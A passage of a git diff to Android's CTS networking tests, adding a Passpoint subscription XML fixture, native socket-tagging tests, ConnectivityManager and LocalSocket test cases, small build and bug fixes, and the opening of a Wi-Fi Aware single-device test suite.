+            </Node>
+          </Node>
+        </Node>
+        <Node>
+          <NodeName>RequiredProtoPortTuple</NodeName>
+          <Node>
+            <NodeName>r001</NodeName>
+            <Node>
+              <NodeName>IPProtocol</NodeName>
+              <Value>12</Value>
+            </Node>
+            <Node>
+              <NodeName>PortNumber</NodeName>
+              <Value>34,92,234</Value>
+            </Node>
+          </Node>
+        </Node>
+        <Node>
+          <NodeName>MaximumBSSLoadValue</NodeName>
+          <Value>23</Value>
+        </Node>
+      </Node>
+      <Node>
+        <NodeName>CredentialPriority</NodeName>
+        <Value>99</Value>
+      </Node>
+      <Node>
+        <NodeName>AAAServerTrustRoot</NodeName>
+        <Node>
+          <NodeName>a001</NodeName>
+          <Node>
+            <NodeName>CertURL</NodeName>
+            <Value>server1.trust.root.com</Value>
+          </Node>
+          <Node>
+            <NodeName>CertSHA256Fingerprint</NodeName>
+            <Value>1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f</Value>
+          </Node>
+        </Node>
+      </Node>
+      <Node>
+        <NodeName>SubscriptionUpdate</NodeName>
+        <Node>
+          <NodeName>UpdateInterval</NodeName>
+          <Value>120</Value>
+        </Node>
+        <Node>
+          <NodeName>UpdateMethod</NodeName>
+          <Value>SSP-ClientInitiated</Value>
+        </Node>
+        <Node>
+          <NodeName>Restriction</NodeName>
+          <Value>RoamingPartner</Value>
+        </Node>
+        <Node>
+          <NodeName>URI</NodeName>
+          <Value>subscription.update.com</Value>
+        </Node>
+        <Node>
+          <NodeName>UsernamePassword</NodeName>
+          <Node>
+            <NodeName>Username</NodeName>
+            <Value>subscriptionUser</Value>
+          </Node>
+          <Node>
+            <NodeName>Password</NodeName>
+            <Value>subscriptionPass</Value>
+          </Node>
+        </Node>
+        <Node>
+          <NodeName>TrustRoot</NodeName>
+          <Node>
+            <NodeName>CertURL</NodeName>
+            <Value>subscription.update.cert.com</Value>
+          </Node>
+          <Node>
+            <NodeName>CertSHA256Fingerprint</NodeName>
+            <Value>1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f</Value>
+          </Node>
+        </Node>
+      </Node>
+      <Node>
+        <NodeName>SubscriptionParameter</NodeName>
+        <Node>
+          <NodeName>CreationDate</NodeName>
+          <Value>2016-02-01T10:00:00Z</Value>
+        </Node>
+        <Node>
+          <NodeName>ExpirationDate</NodeName>
+          <Value>2016-03-01T10:00:00Z</Value>
+        </Node>
+        <Node>
+          <NodeName>TypeOfSubscription</NodeName>
+          <Value>Gold</Value>
+        </Node>
+        <Node>
+          <NodeName>UsageLimits</NodeName>
+          <Node>
+            <NodeName>DataLimit</NodeName>
+            <Value>921890</Value>
+          </Node>
+          <Node>
+            <NodeName>StartDate</NodeName>
+            <Value>2016-12-01T10:00:00Z</Value>
+          </Node>
+          <Node>
+            <NodeName>TimeLimit</NodeName>
+            <Value>120</Value>
+          </Node>
+          <Node>
+            <NodeName>UsageTimePeriod</NodeName>
+            <Value>99910</Value>
+          </Node>
+        </Node>
+      </Node>
+    </Node>
+  </Node>
+</MgmtTree>
diff --git a/tests/tests/net/jni/Android.mk b/tests/tests/net/jni/Android.mk
index 0ec8d28..887e95e 100644
--- a/tests/tests/net/jni/Android.mk
+++ b/tests/tests/net/jni/Android.mk
@@ -27,6 +27,9 @@
 
 LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog
 LOCAL_CXX_STL := libc++_static
+
+LOCAL_CFLAGS := -Wno-unused-parameter
+
 include $(BUILD_SHARED_LIBRARY)
 
 include $(CLEAR_VARS)
diff --git a/tests/tests/net/jni/NativeDnsJni.c b/tests/tests/net/jni/NativeDnsJni.c
index 4eb3c7a..352c0c5 100644
--- a/tests/tests/net/jni/NativeDnsJni.c
+++ b/tests/tests/net/jni/NativeDnsJni.c
@@ -126,7 +126,7 @@
         return JNI_FALSE;
     }
 
-    memset(buf, sizeof(buf), 0);
+    memset(buf, 0, sizeof(buf));
     res = getnameinfo((const struct sockaddr*)&sa6, sizeof(sa6), buf, sizeof(buf), NULL, 0, flags);
     if (res != 0) {
         ALOGD("getnameinfo(%s (GoogleDNS) ) gave error %d (%s)", GoogleDNSIpV6Address2,
diff --git a/tests/tests/net/jni/NativeMultinetworkJni.c b/tests/tests/net/jni/NativeMultinetworkJni.c
index ad56b51..9156504 100644
--- a/tests/tests/net/jni/NativeMultinetworkJni.c
+++ b/tests/tests/net/jni/NativeMultinetworkJni.c
@@ -30,7 +30,7 @@
 #include <sys/time.h>
 #include <android/multinetwork.h>
 
-#define UNUSED(X) ((void) X)
+#define UNUSED(X) ((void) (X))
 
 static const char kHostname[] = "connectivitycheck.android.com";
 
@@ -88,7 +88,9 @@
     return rval == 0 ? 0 : -saved_errno;
 }
 
-static const int kSockaddrStrLen = INET6_ADDRSTRLEN + strlen("[]:65535");
+// Use sizeof("x") - 1 because we need a compile-time constant, and strlen("x")
+// isn't guaranteed to fold to a constant.
+static const int kSockaddrStrLen = INET6_ADDRSTRLEN + sizeof("[]:65535") - 1;
 
 void sockaddr_ntop(const struct sockaddr *sa, socklen_t salen, char *dst, const size_t size) {
     char addrstr[INET6_ADDRSTRLEN];
diff --git a/tests/tests/net/native/Android.mk b/tests/tests/net/native/Android.mk
index 8338432..b798d87 100644
--- a/tests/tests/net/native/Android.mk
+++ b/tests/tests/net/native/Android.mk
@@ -1,2 +1,15 @@
-include $(call all-subdir-makefiles)
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
 
+include $(call all-subdir-makefiles)
diff --git a/tests/tests/net/native/qtaguid/Android.mk b/tests/tests/net/native/qtaguid/Android.mk
index 4f5bf9f..b3eb28b 100644
--- a/tests/tests/net/native/qtaguid/Android.mk
+++ b/tests/tests/net/native/qtaguid/Android.mk
@@ -16,15 +16,8 @@
 
 LOCAL_PATH:= $(call my-dir)
 
-test_executable := CtsNativeNetTestCases
-list_executable := $(test_executable)_list
-
 include $(CLEAR_VARS)
-LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
-
-
-LOCAL_MODULE := $(test_executable)
-LOCAL_MODULE_TAGS := optional
+LOCAL_MODULE := CtsNativeNetTestCases
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
@@ -33,9 +26,6 @@
 LOCAL_SRC_FILES := \
     src/NativeQtaguidTest.cpp
 
-LOCAL_C_INCLUDES := \
-    external/gtest/include \
-
 LOCAL_SHARED_LIBRARIES := \
     libutils \
     liblog \
@@ -45,27 +35,9 @@
     libgtest
 
 LOCAL_CTS_TEST_PACKAGE := android.net.native
-
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
 LOCAL_CFLAGS := -Werror -Wall
 
 include $(BUILD_CTS_EXECUTABLE)
-
-include $(CLEAR_VARS)
-LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
-
-LOCAL_MODULE := $(list_executable)
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-    src/NativeQtaguidTest.cpp
-
-LOCAL_CFLAGS := \
-    -DBUILD_ONLY \
-
-LOCAL_SHARED_LIBRARIES := \
-    liblog \
-
-include $(BUILD_HOST_NATIVE_TEST)
diff --git a/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp b/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp
index 0301c81..9009c24 100644
--- a/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp
+++ b/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp
@@ -17,16 +17,12 @@
 #include <arpa/inet.h>
 #include <errno.h>
 #include <inttypes.h>
-#include <stdlib.h>
 #include <string.h>
 #include <sys/socket.h>
+
 #include <gtest/gtest.h>
-
-#if !defined(BUILD_ONLY)
 #include <cutils/qtaguid.h>
-#endif
 
-#if !defined(BUILD_ONLY)
 int getCtrlSkInfo(int tag, uid_t uid, uint64_t* sk_addr, int* ref_cnt) {
     FILE *fp;
     fp = fopen("/proc/net/xt_qtaguid/ctrl", "r");
@@ -69,12 +65,35 @@
     EXPECT_EQ(0, qtaguid_tagSocket(sockfd, tag, uid));
     EXPECT_EQ(0, getCtrlSkInfo(tag, uid, &sk_addr, &ref_cnt));
     EXPECT_EQ(expect_addr, sk_addr);
-    EXPECT_EQ(0, qtaguid_untagSocket(sockfd));
+    close(sockfd);
     EXPECT_EQ(-ENOENT, getCtrlSkInfo(tag, uid, &sk_addr, &ref_cnt));
 }
-#else
-void checkNoSocketPointerLeaks(int family) {}
-#endif
+
+TEST (NativeQtaguidTest, close_socket_without_untag) {
+    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
+    uid_t uid = getuid();
+    int tag = arc4random();
+    int ref_cnt;
+    uint64_t dummy_sk;
+    EXPECT_EQ(0, qtaguid_tagSocket(sockfd, tag, uid));
+    EXPECT_EQ(0, getCtrlSkInfo(tag, uid, &dummy_sk, &ref_cnt));
+    EXPECT_EQ(2, ref_cnt);
+    close(sockfd);
+    EXPECT_EQ(-ENOENT, getCtrlSkInfo(tag, uid, &dummy_sk, &ref_cnt));
+}
+
+TEST (NativeQtaguidTest, close_socket_without_untag_ipv6) {
+    int sockfd = socket(AF_INET6, SOCK_STREAM, 0);
+    uid_t uid = getuid();
+    int tag = arc4random();
+    int ref_cnt;
+    uint64_t dummy_sk;
+    EXPECT_EQ(0, qtaguid_tagSocket(sockfd, tag, uid));
+    EXPECT_EQ(0, getCtrlSkInfo(tag, uid, &dummy_sk, &ref_cnt));
+    EXPECT_EQ(2, ref_cnt);
+    close(sockfd);
+    EXPECT_EQ(-ENOENT, getCtrlSkInfo(tag, uid, &dummy_sk, &ref_cnt));
+}
 
 TEST (NativeQtaguidTest, no_socket_addr_leak) {
   checkNoSocketPointerLeaks(AF_INET);
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
index 185ebfa..b619974 100644
--- a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
+++ b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
@@ -18,6 +18,7 @@
 
 import static android.net.NetworkCapabilities.NET_CAPABILITY_IMS;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
+import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
 
 import android.app.PendingIntent;
 import android.content.BroadcastReceiver;
@@ -384,6 +385,57 @@
     }
 
     /**
+     * Exercises the requestNetwork with NetworkCallback API. This checks to
+     * see if we get a callback for an INTERNET request.
+     */
+    public void testRequestNetworkCallback() {
+        final TestNetworkCallback callback = new TestNetworkCallback();
+        mCm.requestNetwork(new NetworkRequest.Builder()
+                .addCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
+                .build(), callback);
+
+        try {
+            // Wait to get callback for availability of internet
+            Network internetNetwork = callback.waitForAvailable();
+            assertNotNull("Did not receive NetworkCallback#onAvailable for INTERNET",
+                    internetNetwork);
+        } catch (InterruptedException e) {
+            fail("NetworkCallback wait was interrupted.");
+        } finally {
+            mCm.unregisterNetworkCallback(callback);
+        }
+    }
+
+    /**
+     * Exercises the requestNetwork with NetworkCallback API with timeout - expected to
+     * fail. Use WIFI and switch Wi-Fi off.
+     */
+    public void testRequestNetworkCallback_onUnavailable() {
+        final boolean previousWifiEnabledState = mWifiManager.isWifiEnabled();
+        if (previousWifiEnabledState) {
+            disconnectFromWifi(null);
+        }
+
+        final TestNetworkCallback callback = new TestNetworkCallback();
+        mCm.requestNetwork(new NetworkRequest.Builder()
+                .addTransportType(TRANSPORT_WIFI)
+                .build(), callback, 100);
+
+        try {
+            // Wait to get callback for unavailability of requested network
+            assertTrue("Did not receive NetworkCallback#onUnavailable",
+                    callback.waitForUnavailable());
+        } catch (InterruptedException e) {
+            fail("NetworkCallback wait was interrupted.");
+        } finally {
+            mCm.unregisterNetworkCallback(callback);
+            if (previousWifiEnabledState) {
+                connectToWifi();
+            }
+        }
+    }
+
+    /**
      * Tests reporting of connectivity changed.
      */
     public void testConnectivityChanged_manifestRequestOnly_shouldNotReceiveIntent() {
@@ -639,6 +691,7 @@
     private static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
         private final CountDownLatch mAvailableLatch = new CountDownLatch(1);
         private final CountDownLatch mLostLatch = new CountDownLatch(1);
+        private final CountDownLatch mUnavailableLatch = new CountDownLatch(1);
 
         public Network currentNetwork;
         public Network lastLostNetwork;
@@ -651,6 +704,11 @@
             return mLostLatch.await(30, TimeUnit.SECONDS) ? lastLostNetwork : null;
         }
 
+        public boolean waitForUnavailable() throws InterruptedException {
+            return mUnavailableLatch.await(2, TimeUnit.SECONDS);
+        }
+
+
         @Override
         public void onAvailable(Network network) {
             currentNetwork = network;
@@ -665,6 +723,11 @@
             }
             mLostLatch.countDown();
         }
+
+        @Override
+        public void onUnavailable() {
+            mUnavailableLatch.countDown();
+        }
     }
 
     private Network getWifiNetwork() {
diff --git a/tests/tests/net/src/android/net/cts/LocalServerSocketTest.java b/tests/tests/net/src/android/net/cts/LocalServerSocketTest.java
index 103d1da..7c5a1b3 100644
--- a/tests/tests/net/src/android/net/cts/LocalServerSocketTest.java
+++ b/tests/tests/net/src/android/net/cts/LocalServerSocketTest.java
@@ -38,6 +38,9 @@
         clientSocket.connect(new LocalSocketAddress(address));
         LocalSocket serverSocket = localServerSocket.accept();
 
+        assertTrue(serverSocket.isConnected());
+        assertTrue(serverSocket.isBound());
+
         // send data from client to server
         OutputStream clientOutStream = clientSocket.getOutputStream();
         clientOutStream.write(12);
diff --git a/tests/tests/net/src/android/net/cts/LocalSocketTest.java b/tests/tests/net/src/android/net/cts/LocalSocketTest.java
index 0ff4a30..6e61705 100644
--- a/tests/tests/net/src/android/net/cts/LocalSocketTest.java
+++ b/tests/tests/net/src/android/net/cts/LocalSocketTest.java
@@ -50,7 +50,20 @@
         assertFalse(clientSocket.isConnected());
         clientSocket.connect(locSockAddr);
         assertTrue(clientSocket.isConnected());
+
         LocalSocket serverSocket = localServerSocket.accept();
+        assertTrue(serverSocket.isConnected());
+        assertTrue(serverSocket.isBound());
+        try {
+            serverSocket.bind(localServerSocket.getLocalSocketAddress());
+            fail("Cannot bind a LocalSocket from accept()");
+        } catch (IOException expected) {
+        }
+        try {
+            serverSocket.connect(locSockAddr);
+            fail("Cannot connect a LocalSocket from accept()");
+        } catch (IOException expected) {
+        }
 
         Credentials credent = clientSocket.getPeerCredentials();
         assertTrue(0 != credent.getPid());
@@ -274,6 +287,42 @@
         }
     }
 
+    // http://b/34095140
+    public void testLocalSocketCreatedFromFileDescriptor() throws Exception {
+        String address = ADDRESS_PREFIX + "_testLocalSocketCreatedFromFileDescriptor";
+
+        // Establish connection between a local client and server to get a valid client socket file
+        // descriptor.
+        try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) {
+            // Extract the client FileDescriptor we can use.
+            FileDescriptor fileDescriptor = socketPair.clientSocket.getFileDescriptor();
+            assertTrue(fileDescriptor.valid());
+
+            // Create the LocalSocket we want to test.
+            LocalSocket clientSocketCreatedFromFileDescriptor =
+                    LocalSocket.createConnectedLocalSocket(fileDescriptor);
+            assertTrue(clientSocketCreatedFromFileDescriptor.isConnected());
+            assertTrue(clientSocketCreatedFromFileDescriptor.isBound());
+
+            // Test the LocalSocket can be used for communication.
+            LocalSocket serverSocket = socketPair.serverSocket.accept();
+            OutputStream clientOutputStream =
+                    clientSocketCreatedFromFileDescriptor.getOutputStream();
+            InputStream serverInputStream = serverSocket.getInputStream();
+
+            clientOutputStream.write(12);
+            assertEquals(12, serverInputStream.read());
+
+            // Closing clientSocketCreatedFromFileDescriptor does not close the file descriptor.
+            clientSocketCreatedFromFileDescriptor.close();
+            assertTrue(fileDescriptor.valid());
+
+            // .. while closing the LocalSocket that owned the file descriptor does.
+            socketPair.clientSocket.close();
+            assertFalse(fileDescriptor.valid());
+        }
+    }
+
     public void testFlush() throws Exception {
         String address = ADDRESS_PREFIX + "_testFlush";
 
diff --git a/tests/tests/net/src/android/net/http/cts/HttpResponseCacheTest.java b/tests/tests/net/src/android/net/http/cts/HttpResponseCacheTest.java
index 545541d6..7987a50 100644
--- a/tests/tests/net/src/android/net/http/cts/HttpResponseCacheTest.java
+++ b/tests/tests/net/src/android/net/http/cts/HttpResponseCacheTest.java
@@ -38,10 +38,11 @@
 public final class HttpResponseCacheTest extends TestCase {
 
     private File cacheDir;
-    private MockWebServer server = new MockWebServer();
+    private MockWebServer server;
 
     @Override public void setUp() throws Exception {
         super.setUp();
+        server = new MockWebServer();
         String tmp = System.getProperty("java.io.tmpdir");
         cacheDir = new File(tmp, "HttpCache-" + UUID.randomUUID());
         cacheDir.mkdirs();
diff --git a/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java b/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java
new file mode 100644
index 0000000..1f7b31b
--- /dev/null
+++ b/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java
@@ -0,0 +1,738 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.aware.cts;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.ConnectivityManager;
+import android.net.NetworkCapabilities;
+import android.net.NetworkRequest;
+import android.net.wifi.WifiManager;
+import android.net.wifi.aware.AttachCallback;
+import android.net.wifi.aware.Characteristics;
+import android.net.wifi.aware.DiscoverySessionCallback;
+import android.net.wifi.aware.IdentityChangedListener;
+import android.net.wifi.aware.PeerHandle;
+import android.net.wifi.aware.PublishConfig;
+import android.net.wifi.aware.PublishDiscoverySession;
+import android.net.wifi.aware.SubscribeConfig;
+import android.net.wifi.aware.SubscribeDiscoverySession;
+import android.net.wifi.aware.WifiAwareManager;
+import android.net.wifi.aware.WifiAwareSession;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.test.AndroidTestCase;
+
+import java.util.ArrayDeque;
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Wi-Fi Aware CTS test suite: single device testing. Performs tests on a single
+ * device to validate Wi-Fi Aware.
+ */
+public class SingleDeviceTest extends AndroidTestCase {
+    private static final String TAG = "WifiAwareCtsTests";
+
+    // wait for Wi-Fi Aware to become available
+    static private final int WAIT_FOR_AWARE_CHANGE_SECS = 10;
+
+    private final Object mLock = new Object();
+    private final HandlerThread mHandlerThread = new HandlerThread("SingleDeviceTest");
+    private final Handler mHandler;
+    {
+        mHandlerThread.start();
+        mHandler = new Handler(mHandlerThread.getLooper());
+    }
+
+    private WifiAwareManager mWifiAwareManager;
+    private WifiManager mWifiManager;
+    private WifiManager.WifiLock mWifiLock;
+    private ConnectivityManager mConnectivityManager;
+
+    // used to store any WifiAwareSession allocated during tests - will clean-up after tests
+    private List<WifiAwareSession> mSessions = new ArrayList<>();
+
+    private class WifiAwareBroadcastReceiver extends BroadcastReceiver {
+        private CountDownLatch mBlocker = new CountDownLatch(1);
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (WifiAwareManager.ACTION_WIFI_AWARE_STATE_CHANGED.equals(intent.getAction())) {
+                mBlocker.countDown();
+            }
+        }
+
+        boolean waitForStateChange() throws InterruptedException {
+            return mBlocker.await(WAIT_FOR_AWARE_CHANGE_SECS, TimeUnit.SECONDS);
+        }
+    }
+
+    private class AttachCallbackTest extends AttachCallback {
+        static final int ATTACHED = 0;
+        static final int ATTACH_FAILED = 1;
+        static final int ERROR = 2; // no callback: timeout, interruption
+
+        private CountDownLatch mBlocker = new CountDownLatch(1);
+        private int mCallbackCalled = ERROR; // garbage init
+        private WifiAwareSession mSession = null;
+
+        @Override
+        public void onAttached(WifiAwareSession session) {
+            mCallbackCalled = ATTACHED;
+            mSession = session;
+            synchronized (mLock) {
+                mSessions.add(session);
+            }
+            mBlocker.countDown();
+        }
+
+        @Override
+        public void onAttachFailed() {
+            mCallbackCalled = ATTACH_FAILED;
+            mBlocker.countDown();
+        }
+
+        /**
+         * Waits for any of the callbacks to be called - or an error (timeout, interruption).
+         * Returns one of the ATTACHED, ATTACH_FAILED, or ERROR values.
+         */
+        int waitForAnyCallback() {
+            try {
+                boolean noTimeout = mBlocker.await(WAIT_FOR_AWARE_CHANGE_SECS, TimeUnit.SECONDS);
+                if (noTimeout) {
+                    return mCallbackCalled;
+                } else {
+                    return ERROR;
+                }
+            } catch (InterruptedException e) {
+                return ERROR;
+            }
+        }
+
+        /**
+         * Access the session created by a callback. Only useful to be called after calling
+         * waitForAnyCallback() and getting the ATTACHED code back.
+         */
+        WifiAwareSession getSession() {
+            return mSession;
+        }
+    }
+
+    private class IdentityChangedListenerTest extends IdentityChangedListener {
+        private CountDownLatch mBlocker = new CountDownLatch(1);
+        private byte[] mMac = null;
+
+        @Override
+        public void onIdentityChanged(byte[] mac) {
+            mMac = mac;
+            mBlocker.countDown();
+        }
+
+        /**
+         * Waits for the listener callback to be called - or an error (timeout, interruption).
+         * Returns true on callback called, false on error (timeout, interruption).
+         */
+        boolean waitForListener() {
+            try {
+                return mBlocker.await(WAIT_FOR_AWARE_CHANGE_SECS, TimeUnit.SECONDS);
+            } catch (InterruptedException e) {
+                return false;
+            }
+        }
+
+        /**
+         * Returns the MAC address of the discovery interface supplied to the triggered callback.
+         */
+        byte[] getMac() {
+            return mMac;
+        }
+    }
+
+    private class DiscoverySessionCallbackTest extends DiscoverySessionCallback {
+        static final int ON_PUBLISH_STARTED = 0;
+        static final int ON_SUBSCRIBE_STARTED = 1;
+        static final int ON_SESSION_CONFIG_UPDATED = 2;
+        static final int ON_SESSION_CONFIG_FAILED = 3;
+        static final int ON_SESSION_TERMINATED = 4;
+        static final int ON_SERVICE_DISCOVERED = 5;
+        static final int ON_MESSAGE_SEND_SUCCEEDED = 6;
+        static final int ON_MESSAGE_SEND_FAILED = 7;
+        static final int ON_MESSAGE_RECEIVED = 8;
+
+        private final Object mLocalLock = new Object();
+
+        private CountDownLatch mBlocker;
+        private int mCurrentWaitForCallback;
+        private ArrayDeque<Integer> mCallbackQueue = new ArrayDeque<>();
+
+        private PublishDiscoverySession mPublishDiscoverySession;
+        private SubscribeDiscoverySession mSubscribeDiscoverySession;
+
+        private void processCallback(int callback) {
+            synchronized (mLocalLock) {
+                if (mBlocker != null && mCurrentWaitForCallback == callback) {
+                    mBlocker.countDown();
+                } else {
+                    mCallbackQueue.addLast(callback);
+                }
+            }
+        }
+
+        @Override
+        public void onPublishStarted(PublishDiscoverySession session) {
+            mPublishDiscoverySession = session;
+            processCallback(ON_PUBLISH_STARTED);
+        }
+
+        @Override
+        public void onSubscribeStarted(SubscribeDiscoverySession session) {
+            mSubscribeDiscoverySession = session;
+            processCallback(ON_SUBSCRIBE_STARTED);
+        }
+
+        @Override
+        public void onSessionConfigUpdated() {
+            processCallback(ON_SESSION_CONFIG_UPDATED);
+        }
+
+        @Override
+        public void onSessionConfigFailed() {
+            processCallback(ON_SESSION_CONFIG_FAILED);
+        }
+
+        @Override
+        public void onSessionTerminated() {
+            processCallback(ON_SESSION_TERMINATED);
+        }
+
+        @Override
+        public void onServiceDiscovered(PeerHandle peerHandle, byte[] serviceSpecificInfo,
+                List<byte[]> matchFilter) {
+            processCallback(ON_SERVICE_DISCOVERED);
+        }
+
+        @Override
+        public void onMessageSendSucceeded(int messageId) {
+            processCallback(ON_MESSAGE_SEND_SUCCEEDED);
+        }
+
+        @Override
+        public void onMessageSendFailed(int messageId) {
+            processCallback(ON_MESSAGE_SEND_FAILED);
+        }
+
+        @Override
+        public void onMessageReceived(PeerHandle peerHandle, byte[] message) {
+            processCallback(ON_MESSAGE_RECEIVED);
+        }
+
+        /**
+         * Wait for the specified callback - any of the ON_* constants. Returns a true
+         * on success (specified callback triggered) or false on failure (timed-out or
+         * interrupted while waiting for the requested callback).
+         *
+         * Note: other callbacks happening while while waiting for the specified callback will
+         * be queued.
+         */
+        boolean waitForCallback(int callback) {
+            synchronized (mLocalLock) {
+                boolean found = mCallbackQueue.remove(callback);
+                if (found) {
+                    return true;
+                }
+
+                mCurrentWaitForCallback = callback;
+                mBlocker = new CountDownLatch(1);
+            }
+
+            try {
+                return mBlocker.await(WAIT_FOR_AWARE_CHANGE_SECS, TimeUnit.SECONDS);
+            } catch (InterruptedException e) {
+                return false;
+            }
+        }
+
+        /**
+         * Indicates whether the specified callback (any of the ON_* constants) has already
+         * happened and in the queue. Useful when the order of events is important.
+         */
+        boolean hasCallbackAlreadyHappened(int callback) {
+            synchronized (mLocalLock) {
+                return mCallbackQueue.contains(callback);
+            }
+        }
+
+        /**
+         * Returns the last created publish discovery session.
+         */
+        PublishDiscoverySession getPublishDiscoverySession() {
+            PublishDiscoverySession session = mPublishDiscoverySession;
+            mPublishDiscoverySession = null;
+            return session;
+        }
+
+        /**
+         * Returns the last created subscribe discovery session.
+         */
+        SubscribeDiscoverySession getSubscribeDiscoverySession() {
+            SubscribeDiscoverySession session = mSubscribeDiscoverySession;
+            mSubscribeDiscoverySession = null;
+            return session;
+        }
+    }
+
+    private class NetworkCallbackTest extends ConnectivityManager.NetworkCallback {
+        private CountDownLatch mBlocker = new CountDownLatch(1);
+
+        @Override
+        public void onUnavailable() {
+            mBlocker.countDown();
+        }
+
+        /**
+         * Wait for the onUnavailable() callback to be triggered. Returns true if triggered,
+         * otherwise (timed-out, interrupted) returns false.
+         */
+        boolean waitForOnUnavailable() {
+            try {
+                return mBlocker.await(WAIT_FOR_AWARE_CHANGE_SECS, TimeUnit.SECONDS);
+            } catch (InterruptedException e) {
+                return false;
+            }
+        }
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        if (!TestUtils.shouldTestWifiAware(getContext())) {
+            return;
+        }
+
+        mWifiAwareManager = (WifiAwareManager) getContext().getSystemService(
+                Context.WIFI_AWARE_SERVICE);
+        assertNotNull("Wi-Fi Aware Manager", mWifiAwareManager);
+
+        mWifiManager = (WifiManager) getContext().getSystemService(Context.WIFI_SERVICE);
+        assertNotNull("Wi-Fi Manager", mWifiManager);
+        mWifiLock = mWifiManager.createWifiLock(TAG);
+        mWifiLock.acquire();
+        if (!mWifiManager.isWifiEnabled()) {
+            mWifiManager.setWifiEnabled(true);
+        }
+
+        mConnectivityManager = (ConnectivityManager) getContext().getSystemService(
+                Context.CONNECTIVITY_SERVICE);
+        assertNotNull("Connectivity Manager", mConnectivityManager);
+
+        IntentFilter intentFilter = new IntentFilter();
+        intentFilter.addAction(WifiAwareManager.ACTION_WIFI_AWARE_STATE_CHANGED);
+        WifiAwareBroadcastReceiver receiver = new WifiAwareBroadcastReceiver();
+        mContext.registerReceiver(receiver, intentFilter);
+        if (!mWifiAwareManager.isAvailable()) {
+            assertTrue("Timeout waiting for Wi-Fi Aware to change status",
+                    receiver.waitForStateChange());
+            assertTrue("Wi-Fi Aware is not available (should be)", mWifiAwareManager.isAvailable());
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (!TestUtils.shouldTestWifiAware(getContext())) {
+            super.tearDown();
+            return;
+        }
+
+        synchronized (mLock) {
+            for (WifiAwareSession session : mSessions) {
+                // no damage from destroying twice (i.e. ok if test cleaned up after itself already)
+                session.destroy();
+            }
+            mSessions.clear();
+        }
+
+        super.tearDown();
+    }
+
+    /**
+     * Validate:
+     * - Characteristics are available
+     * - Characteristics values are legitimate. Not in the CDD. However, the tested values are
+     *   based on the Wi-Fi Aware protocol.
+     */
+    public void testCharacteristics() {
+        if (!TestUtils.shouldTestWifiAware(getContext())) {
+            return;
+        }
+
+        Characteristics characteristics = mWifiAwareManager.getCharacteristics();
+        assertNotNull("Wi-Fi Aware characteristics are null", characteristics);
+        assertEquals("Service Name Length", characteristics.getMaxServiceNameLength(), 255);
+        assertEquals("Service Specific Information Length",
+                characteristics.getMaxServiceSpecificInfoLength(), 255);
+        assertEquals("Match Filter Length", characteristics.getMaxMatchFilterLength(), 255);
+    }
+
+    /**
+     * Validate that on Wi-Fi Aware availability change we get a broadcast + the API returns
+     * correct status.
+     */
+    public void testAvailabilityStatusChange() throws Exception {
+        if (!TestUtils.shouldTestWifiAware(getContext())) {
+            return;
+        }
+
+        IntentFilter intentFilter = new IntentFilter();
+        intentFilter.addAction(WifiAwareManager.ACTION_WIFI_AWARE_STATE_CHANGED);
+
+        // 1. Disable Wi-Fi
+        WifiAwareBroadcastReceiver receiver1 = new WifiAwareBroadcastReceiver();
+        mContext.registerReceiver(receiver1, intentFilter);
+        mWifiManager.setWifiEnabled(false);
+
